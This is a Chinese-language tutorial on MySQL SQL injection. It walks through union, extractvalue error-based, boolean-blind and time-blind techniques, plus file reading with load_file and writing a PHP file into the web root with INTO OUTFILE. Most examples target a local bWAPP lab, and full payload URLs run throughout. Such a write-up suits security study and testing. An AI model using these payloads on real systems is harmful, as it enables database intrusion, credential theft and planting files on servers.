对于MySQL的注入内容,网上有很多的例子,MySQL注入也是我们平时最容易见到的,这里仅仅拿出来几个例子来说明一下。
目录
0x01常用命令
0x02常规union显注
0x03extractvalue()显注
0x04基于布尔的盲注
0x05基于时间的盲注
0x06文件读取
0x07文件写入
注:在0x06和0x07中,默认参数--secure-file-priv不为null
0x01常用命令
对于注入来说,你首先要对基本的查询语句足够的了解,多熟悉一种查询方法,在实际测试过程中,就多一点机会。
这里先说两种常用的单行查询的语句,因为在注入过程中,经常会遇到内容显示不全等现象,所以限制输出行数是很必要的
代码语言:javascript复制concat(str1,str2,…)
concat()函数用于将多个字符串连接成一个字符串,如有任何一个参数为NULL ,则返回值为 NULL。
代码语言:javascript复制concat_ws(‘指定分隔符’,str1,str2,str3...)
concat_ws()函数与concat()函数的不同在于concat_ws()函数不会因为中间的空值而整体返回空,只有在分隔符为空时,才整体返回空
其他的语句,在后面提到的时候会说
还有几种就是MySQL的内置变量,在做信息收集的时候会用到
代码语言:javascript复制version() 当前数据库的版本号
代码语言:javascript复制database() 当前所在数据库
代码语言:javascript复制user() 当前数据库用户权限
代码语言:javascript复制@@datadir 数据文件的存放目录
代码语言:javascript复制@@basedir 数据库的安装路径
代码语言:javascript复制@@hostname 当前主机名(可以判断是否是虚拟机)
代码语言:javascript复制@@version_compile_os 判断使用的系统
0x02常规union显注
接下来先举一个简单的例子说一下MySQL的注入
这是正常页面
加单引号或者反斜杠等等,看他是否会报错
报错了,八九不离十是存在注入的
再使用and或者or,来确定一下
这是存在注入无疑了
之后就使用order by来判断字段
总字段数有4个
接下来使用union select来确定数据位
确定数据位为2和3
之后就可以利用这两个位,来得到我们想要的信息
这里还有个坑,需要大家知道一下,针对mssql等其他数据库,这里使用数字可能就不行了,那就需要使用null来代替了
至于如何爆出信息来,就只能是挨个去测试了
接下来,查询该用户所能查看到的数据库
可以看到这里有三个数据库
查看数据库中的表
这个tbl_usr可能就是我们所需要的
接下来就是查字段了
再往后就是查数据了
由于是明文存储,直接获取到密码。
其实在前面的例子中,它会把数据分行来显示出来,这样就不存在被截断看不到的现象了,如果存在的话就使用limit来限制就可以了
0x03 extractvalue()显注
extractvalue() :对XML文档进行查询的函数
代码语言:javascript复制extractvalue(目标xml文档,xml路径)
具体的函数前面也已经说过了,这里就不提了,直接看操作
正常页面
使其报错
首先先查看它的版本号,数据库等信息
查数据库的安装位置也是必要的,在实在爆不出来绝对路径的时候,可以使用此路径才猜测
接下来,开始爆数据库
此时可以发现,它由于返回值超过了一个,所以不能返回,这时,我们就需要通过limit来限制它的输出
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 0,1)))-- &action=go
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,schema_name) from information_schema.schemata limit 1,1)))-- &action=go
接下来,爆表名
http://127.0.0.1/bWAPP/sqli_2.php?movie=2 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables where table_schema=0x6257415050 limit 0,1)))-- &action=go
也是通过limit来限制输出,直到找到我们所需要的值
接下来就去跑字段和账号密码了,跟前面的方法一样,就不多说了
还有一种是updatexml()显注,跟这个完全类似,就不多说了
0x04基于布尔的盲注
这是正常访问的页面
使它报错
基本可以判断存在注入
再确定一下 and 1=1,返回正常
and 1=2,还是返回正常
这是什么情况?难道不存在注入?
不是的,其实它不是数字型的注入,它传入到数据库进行查询的时候,是按照字符串来进行查询的
说明它确实是存在注入的,而且是字符型的注入
具体的查询方法还是跟之前的一样,不过因为是盲注,就比较复杂了
通过limit和ASCII码来一个字符一个字符的对碰,可以借助burp等工具来帮助我们去实现
**********.php?id=31660' and (select ascii(substring((selectversion()),1,1))=53) and 'aaa'='aaa
这里等于53时,返回页面正常,说明值正确,查看ASCII码表
53对应的是5,说明第一个值为5
然后limit限制第二个值,变换后面的内容,来查看其为多少
**********.php?id=31660' and (select ascii(substring((selectversion()),2,1))=46) and 'aaa'='aaa
当值为46时,返回正常,对应ASCII码表
当值为46时,为点
接下来,判断第三个
**********.php?id=31660' and (select ascii(substring((selectversion()),3,1))=53) and 'aaa'='aaa
发现当值为53时,返回正常页面,根据ASCII码表,得知53对应的ascii码为5,所以初步得到这个它的版本为“5.5.*******”,后面的内容按照这个方法依次去猜解就可以了
对于猜表名等,只需要将这里的查询版本改换成前面所使用的对应的语句,就可以进行判断了,
0x05基于时间的盲注
其实基于时间的盲注跟基于布尔的盲注基本一样,不同的是布尔盲注是看返回页面的正常与否,时间盲注是看页面是否卡顿即sleep的秒数
还是在刚才的那个例子上,稍加变动即可
**********.php?id=31660' and if((ascii(mid((select version()),1,1))=53),sleep(5),1) and 'aaa'='aaa
主要就是看它是否会等待足够的时长
之后跟前面一样,只需要改变其中需要查询的值,然后按位去判断就可以了
0x06文件读取
这里,我们就省略掉前几个步骤,直接从union联合查询开始
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,2,3,4,5,6,7 from information_schema.schemata -- &action=go
首先,这里先找到了它哪几个位置可以显示值
比如说这里我们要查看这个文件
D:phpstudyPHPTutorialWWWbWAPPadminsettings.php
先将它hex编码一下
0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870
然后套用函数来查看,load_file(文件的绝对路径的hex值) 来读取文件
http://127.0.0.1/bWAPP/sqli_2.php?movie= -1 union select 1,load_file(0x443A5C70687073747564795C5048505475746F7269616C5C5757575C62574150505C61646D696E5C73657474696E67732E706870),3,4,5,6,7-- &action=go
咦,为什么跟我们预想的不一样呢,为什么数字2的位置为空了
其实,这个是它代码的原因,我们只需要查看源代码,就可以看到了
可以发现这里的代码都已经被注释掉了,不过不影响我们读内容
数据库的账号密码和数据库名都在这里了
0x07文件写入
这里的注意事项,在第六点的时候已经提到过了
这里我们假设要把 <?php phpinfo();?> ,写入到
D:phpstudyPHPTutorialWWWbWAPPadmin目录下的123.php这个文件中
通过intooutfile '绝对路径' 来写
http://127.0.0.1/bWAPP/sqli_2.php?movie=-1 union select 1,0x3C3F70687020706870696E666F28293B3F3E,3,4,5,6,7 into outfile 'D:/phpstudy/PHPTutorial/WWW/bWAPP/admin/123.php' -- &action=go
虽然报错了,但是这里并不影响
可以发现已经写入成功了
访问也是没有任何问题的
就简单提到这里,之后有需要的时候再展开某一块详细说明。
推荐阅读
- Linux重定向及反弹shell详解
- 部署IIS PHP Oracle环境
- Linux目录结构及开机流程详解
- 部署IIS PHP SQL server环境
- Kerberoasting攻击